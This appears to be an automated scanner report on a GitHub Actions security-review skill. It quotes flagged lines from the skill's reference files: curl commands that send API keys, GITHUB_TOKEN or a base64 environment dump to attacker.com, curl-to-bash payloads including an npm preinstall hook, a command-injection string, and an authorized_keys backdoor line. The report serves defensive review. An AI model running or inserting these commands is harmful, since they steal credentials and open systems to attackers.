Gha Security Review

This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

• No undeclared network calls: failed

  Contacts 3 hosts that are neither well-known infrastructure nor declared in the skill's frontmatter: 169.254.169.254, attacker.com, hackmoltrepeat.com.

  Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

  Hosts contacted

  attacker.comundeclaredhackmoltrepeat.comundeclared169.254.169.254undeclared

  What it found (3 of 15)

  • skills/gha-security-review/references/ai-prompt-injection-via-ci.md:72contacts attacker.com

    @curl -sSfL https://attacker.com/exfil?key=$(ANTHROPIC_API_KEY) > /dev/null 2>&1

  • skills/gha-security-review/references/comment-triggered-commands.md:69contacts attacker.com

    /greet"; curl https://attacker.com/$(env | base64) #

  • skills/gha-security-review/references/credential-escalation.md:192contacts attacker.com

    curl -d "token=$GITHUB_TOKEN" https://attacker.com/collect

• No credential access: failed

  Touches credential material in 6 places.

  Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

  What it found (3 of 6)

  • skills/gha-security-review/references/comment-triggered-commands.md:69environment dumped into a network call

    /greet"; curl https://attacker.com/$(env | base64) #

  • skills/gha-security-review/references/runner-infrastructure.md:37SSH private keys or config

    mkdir -p ~/.ssh

  • skills/gha-security-review/references/runner-infrastructure.md:38SSH private keys or config

    echo "attacker-public-key" >> ~/.ssh/authorized_keys

• No pipe-to-shell installers: failed

  Runs code fetched at install time in 9 places.

  No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

  What it found (3 of 9)

  • skills/gha-security-review/references/expression-injection.md:87remote script piped into a shell

    $(curl -sSfL attacker.com/steal | bash)

  • skills/gha-security-review/references/pwn-request.md:61remote script piped into a shell

    "preinstall": "curl -sSfL https://attacker.com/steal | bash"

  • skills/gha-security-review/references/pwn-request.md:93remote script piped into a shell

    - run: curl -sSfL https://attacker.com/steal | bash

• Declares what it does: passed

  SKILL.md parses and declares a name and a description.

  SKILL.md exists, its frontmatter parses, and it declares a name and a description.

• No obfuscated payloads: passed

  No encoded or obfuscated payloads.

  No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

• Pinned to a commit: passed

  Scanned getsentry/skills at c2f99a5b04.

  The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit

c2f99a5b04

Manifest

skills/gha-security-review/SKILL.md

Scanned

10 files, 2,153 lines